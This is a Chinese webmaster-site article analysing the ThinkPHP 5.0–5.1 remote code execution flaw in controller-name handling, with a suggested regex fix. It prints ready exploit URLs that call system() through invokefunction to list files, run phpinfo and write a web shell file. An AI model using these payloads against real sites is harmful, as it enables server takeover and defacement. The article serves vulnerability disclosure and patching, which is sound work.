首页
网址
站长导航
AI导航
设计导航
自媒体导航
新媒体导航
跨境电商导航
程序员导航
卖家导航
电商导航
更多网址
工具
在线工具
生活工具
教育学习
健康生活
实用计算
站长工具
休闲娱乐
PDF工具
图片颜色
查看全部工具 →
API
图片API
娱乐API
实用API
工具API
新闻API
站长API
查看全部API →
资讯
资源分享
羊毛线报
网站优化
其他资讯
科普百科
每天60s读懂世界
百度热点
少数派热点
CSDN全站综合热榜
历史上的今天
哔哩哔哩全站日榜
哔哩哔哩热搜榜
微博热搜榜
搜狗热搜榜
搜狐热榜新闻
今日头条热榜
ACfun弹幕网热榜
安全KER热榜
爱范儿快讯
稀土掘金榜
网易新闻热点榜
51CTO推荐榜
Github热门榜
查看全部文章 →
电台
综合
新闻
经济
音乐
交通
都市
生活
文艺
戏曲
健康
娱乐
教育
资讯
体育
农村
故事
评书
外语
DJ音乐
查看全部电台 →
公众号
资讯
健康
医疗
新闻
科技
品牌
公益
法律
招聘
生活
旅游
媒体
教育
汽车
艺术
美食
商业
金融
银行
体育
娱乐
房产
历史
亲子
其他
音乐
阅读
出行
女性
运动
影视
游戏
时尚
购物
财经
社交
情感
搞笑
达人
其它
查看全部公众号 →
小程序
娱乐社交
旅游出行
影音阅读
金融购物
母婴教育
健康生活
工具图像
查看全部小程序 →
应用
手机APP
手机游戏
PC软件
PC游戏
TV软件
TV游戏
查看全部应用 →
壁纸
4K专区
BABY秀
军事天地
动漫卡通
劲爆体育
小清新
影视剧照
必应壁纸
我爱壁纸
文字控
明星风尚
最新壁纸
月历壁纸
汽车天下
游戏壁纸
炫酷时尚
爱情美图
站长推荐
美女模特
节日美图
萌宠动物
风景大片
查看全部壁纸 →
游戏
益智解谜
动作格斗
射击枪战
消除三消
休闲放松
棋牌桌游
跑酷竞速
冒险闯关
模拟经营
音乐节奏
恐怖惊悚
搞笑整活
查看全部游戏 →
排行榜
点入来访榜
点出访问榜
站点点赞榜
日浏览榜
月浏览榜
总浏览榜
工具浏览榜
API浏览榜
电台收听榜
壁纸浏览榜
软件下载榜
公众号浏览榜
小程序浏览榜
文章浏览榜
查看完整排行榜 →
更多
游戏中心
天气预报
笑话
排行榜
公告中心
热搜榜
中新网
电商报
DJ热舞
友情链接
提交收录
待审站点
小黑屋
流量联盟
站点统计
关于我们
交友广场
我的论坛
用户中心
赞助我们
站长工具
SEO综合查询
备案查询
Whois查询
IP查询
CDN检测
SSL证书查询
DNS查询
Ping检测
本站源码→
登录
注册
资源分享
羊毛线报
网站优化
其他资讯
科普百科
每天60s读懂世界
百度热点
少数派热点
CSDN全站综合热榜
历史上的今天
哔哩哔哩全站日榜
哔哩哔哩热搜榜
微博热搜榜
搜狗热搜榜
搜狐热榜新闻
今日头条热榜
ACfun弹幕网热榜
安全KER热榜
爱范儿快讯
稀土掘金榜
网易新闻热点榜
51CTO推荐榜
Github热门榜
首页
»
站长资讯
»
网站优化
thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell
2022/08/20 10:13 站长聚集站 已浏览377次
收藏
0
THINKPHP漏洞修复,官方于近日,对现有的thinkphp5.0到5.1所有版本进行了升级,以及补丁更新,这次更新主要是进行了一些漏洞修复,最严重的就是之前存在的SQL注入漏洞,以及远程代码执行查询系统的漏洞都进行了修复,官方本以为没有问题了,但是在实际的安全检测当中发现,还是存在问题,还是可以远程代码进行注入,插入非法字符,提交到服务器后端中去。
关于这次发现的oday漏洞,我们来看下官方之前更新的代码文件是怎么样的,更新的程序文件路径是library文件夹下的think目录里的app.php,如下图:
漏洞产生的原因就在于这个控制器这里,整个thinkphp框架里的功能对控制器没有进行严格的安全过滤于检查,使攻击者可以伪造恶意参数进行强制插入,最根本的原因就是正则的表达式写的不好,导致可以绕过。
在controller获取控制器后,直接进行赋值,但是并没有对控制器的名进行严格的检测,导致可以使用斜杠等特殊符号来远程代码注入。
我们来搭建一下网站的环境,apache+mysql+Linux centos系统,搭建好的测试环境地址是http://127.0.01/anquan ,我们可以直接在index.php后面伪造攻击参数,示例如下:
http://127.0.0.1/anquan/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
直接get方式提交到网站中去,可以直接查询到网站当前根目录的所有文件,截图如下:
通过该漏洞也可以直接远程代码注入执行phpinfo语句,查询当前的php版本,路径,扩展,以及php.ini存放的地址,都可以看得到,构造如下代码即可。
http://127.0.0.1/anquan/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
有些人可能会问了,既然都可以phpinfo,查询目录文件,可不可以getshell写网站木马文件到网站里呢? 答案是可以的,我们测试的时候是以一句话木马代码的写入到safe.php文件里。
http://127.0.0.1/anquan/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20safe.php
关于这次thinkphp的漏洞利用以及分析到此就结束了,该漏洞属于高危漏洞,危害严重性较大,很多升级更新补丁的网站都会受到攻击,甚至有些网站会被挂马,那么该如何修复thinkphp的漏洞呢?替换之前的正规则表达式即可,还需要对网站的目录进行权限部署,防止生成php文件,对网站上的漏洞进行修复,或者是对网站安全防护参数进行重新设置,使他符合当时的网站环境。如果不懂如何修复网站漏洞,也可以找专业的网站安全公司来处理,国内如Sinesafe和绿盟、启明星辰等安全公司比较专业.
针对于这个情况,我们要对其library/think/App.php代码里的正规则表达式进行更改,if (!preg_match('/^[A-Za-z][w.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }
💬
用户评论
共
0
条
发表你的观点
✕ 取消回复
快捷
👍
📚
⭐
🤔
✎ 发布
🔒
登录后参与讨论
精彩评论,等你来写
立即登录
📋 评论列表
(加载中...)
最新优先
⏳ 加载中...
取消
回复
← 上一篇
诚速宝:关键词优化与整站优化的区别
下一篇 →
SEO现状分析:客观认识SEO的趋势
顶部
QQ
邮箱
提交
扫码关注
夜间
底部